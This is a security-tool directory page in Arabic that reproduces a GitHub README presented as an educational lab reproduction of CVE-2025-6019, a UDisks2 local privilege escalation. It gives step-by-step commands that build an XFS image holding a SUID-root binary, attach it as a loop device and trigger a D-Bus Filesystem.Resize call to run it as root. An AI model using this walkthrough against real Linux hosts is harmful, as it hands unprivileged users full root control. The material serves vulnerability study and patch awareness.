Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/phamdinhquy2512/cve-2025-6019-exploitation
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالالتعلم والتعليمتطوير الحمولاتاستغلال الملفات الثنائيةمختبرات وتدريب عملي
GitHubphamdinhquy2512/cve-2025-6019-exploitation

CVE-2025-6019-Exploitation

إعادة إنتاج تعليمية لـ CVE-2025-6019، تصعيد صلاحيات محلي في UDisks2 عبر صورة نظام ملفات خبيثة تحتوي على ملف ثنائي SUID-root. يتضمن دليل استغلال خطوة بخطوة وتحليل السبب الجذري لبيئات معملية خاضعة للرقابة.

عرض المستودع
منذ 8 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-6019 – ثغرة ResizeFilesystem في UDisks2 (إعادة إنتاج تعليمية)

يُوثّق هذا المستودع إعادة إنتاج تعليمية لـ CVE-2025-6019 تم إجراؤها في بيئة مختبرية خاضعة للتحكم (جهاز افتراضي Ubuntu، غير إنتاجي).

🛡️ إشعار أمني

يقوم هذا البحث بإعادة إنتاج CVE-2025-6019 في بيئة Ubuntu معزولة لتحليل السبب الجذري وتخفيف ثغرة UDisks2.
يتم مشاركة جميع النتائج بشكل مسؤول وتهدف إلى دعم الوعي واعتماد التصحيحات.
إذا كنت بائعًا أو مسؤول صيانة، يرجى التأكد من أن نظامك يحتوي على أحدث التحديثات الأمنية.

مقدمة

ثغرة CVE هذه هي نوع من تصعيد الامتيازات المحلية في نظام Linux تنشأ من التفاعلات غير المنسقة بشكل كافٍ بين مكونات إدارة نظام الملفات في Linux وهي udisk/udisk2 وlibblockdev وPolkit في هذه الحالة. يسمح هذا العطل لمستخدم محلي (مهاجم غير مميز) بتركيب صورة نظام ملفات ضارة تحتوي على ملفات مملوكة من قبل root مع تعيين بت SUID، وتنفيذ ثنائي SUID-root من تلك الصورة، وأخيرًا الحصول على السيطرة الكاملة على المضيف.

كيفية الاستغلال

الخطوة 1: إعداد البيئة

يتم إجراء هذا الاستغلال على جهاز افتراضي Ubuntu 20.04.6.
يتم تنفيذ جميع الاختبارات في جهاز افتراضي محلي معزول، ولا يتم استخدام أي اتصال شبكي أو حمولات مدمرة. الهدف هو مجرد ملاحظة تغييرات الامتياز والتحقق من الثغرة في ظروف آمنة.

استنساخ هذا المستودع، تأكد من أن لديك ملفي check_root.c و exploit_helper.sh

root@kitploit:~
~$ gcc check_root.c -o check_root

التحقق من إصدار udisk2 و libblockdev:

root@kitploit:~
~$ dpkg -l | grep libblockdev
~$ dpkg -l | grep udisk
~$ sudo apt install -y build-essential xfsprogs 
# Expected result: libblockdev version 2.23-2ubuntu3 and udisk2 version 2.8.4-1ubuntu2  

الخطوة 2: تحضير الحمولة (جهاز المهاجم)

لاحظ أن الهدف ليس إنشاء برنامج مدمر. check_root.c هو برنامج اختبار غير ضار يطبع فقط معرف المستخدم الحقيقي ومعرف المستخدم الفعال عند تنفيذه (بواسطة دالة getuid() & geteuid()) ولكن إذا استبدلناه بثنائي ضار، فقد يتعرض النظام للتلف.

إنشاء ملف الصورة:

root@kitploit:~
~$ dd if=/dev/zero of=malicious_xfs.img bs=1M count=16
~$ sudo mkfs.xfs malicious_xfs.img

نسخ checkroot.c إلى الصورة ومنح علامة SUID:

root@kitploit:~
~$ mkdir /tmp/xfs_mnt
~$ sudo mount -o loop malicious_xfs.img /tmp/xfs_mnt
~$ sudo cp check_root /tmp/xfs_mnt/
~$ sudo chmod 4755 /tmp/xfs_mnt/check_root
~$ sudo umount /tmp/xfs_mnt
~$ rmdir /tmp/xfs_mnt
~$ mount | grep malicious  
# Expected: no result return.

إذا رأيت أن الصورة لا تزال مركبة، فقم بفك تركيبها. بعد هذه المرحلة، لدينا صورة ضارة تحتوي على ملف ضار (check_root)، مع علامة SUID وملكية root في البيانات الوصفية.
لاحظ أن هذه البيانات الوصفية تظل متسقة أثناء نسخ الملف بين أجهزة Linux، وأن Linux محمي بواسطة "nosuid"، والذي لن يتأثر في هذا السيناريو.

الخطوة 3: الاستغلال (على الجهاز المستهدف)

ستقوم هذه الخطوة بتعيين الصورة على الجهاز المستهدف ثم تنفيذ الملف الضار بداخلها، وهذا الإجراء مشابه لتوصيل USB ضار بجهاز Linux.

root@kitploit:~
~$ losetup
# Check which /dev/loop* devices are in use and create a newone and mount with the malicious image creted in the Stage 2. For example, if you see /dev/loop1-8, create /dev/loop9:
~$ sudo losetup /dev/loop9 malicious_xfs.img
~$ LOOP_DEVICE="/dev/loop9"
~$ OBJECT_PATH="/org/freedesktop/UDisks2/block_devices/$(basename \  $LOOP_DEVICE)"
~$ Echo $OBJECT_PATH
#Expected: /org/freedesktop/UDisks2/block_devices/loop9
Precheck: 
~$ cat /proc/mounts | grep "$LOOP_DEVICE" | grep 'xfs' | awk '{print $2}'
#expected: No results returns

تنفيذ ملف exploitation_helper:

root@kitploit:~
~$ chmod +x exploit_helper.sh
~$ ./exploit_helper.sh

افتح محطة طرفية ثانية وأرسل طلب D-Bus يطلب من النظام (UDisks2) تغيير حجم جهاز الكتلة المعروض.

root@kitploit:~
~$ LOOP_DEVICE="/dev/loop9"
~$ OBJECT_PATH="/org/freedesktop/UDisks2/block_devices/$(basename \ $LOOP_DEVICE)"
~$ echo $OBJECT_PATH
#Expected: /org/freedesktop/UDisks2/block_devices/loop9
~$ gdbus call --system --dest org.freedesktop.UDisks2 --object-path \ /org/freedesktop/UDisks2/block_devices/loop9 --method \ org.freedesktop.UDisks2.Filesystem.Resize -t 10 "uint64 0" "{}"

التحقق من محطة الاستغلال: نجاح

لماذا النجاح: عندما تم تعيين الصورة يدويًا باستخدام losetup ثم تم تركيبها يدويًا (حتى على نظام يوجد فيه udisksd)، تم تنفيذ التركيب تحت سياق مختلف مع خيارات ودلالات دورة حياة مختلفة. في هذا السيناريو، لم يتم تركيب نظام الملفات مع نفس أعلام الأمان المطبقة من udisksd، لذلك تمكن الثنائي setuid داخل الصورة من أخذ التأثير ونجحت خطوة الاستغلال.

لقد أصدر فريق أمان Ubuntu بالفعل إصدارات مصححة من UDisks2 تعالج CVE-2025-6019.

⚠️ إخلاء مسؤولية
هذا المستودع مخصص للأغراض التعليمية فقط.
لا تستخدم أي جزء من هذا المحتوى لمهاجمة أو تعديل أنظمة حقيقية.
لا يتحمل المؤلف والمساهمون أي مسؤولية عن سوء الاستخدام.

تنزيل الأداة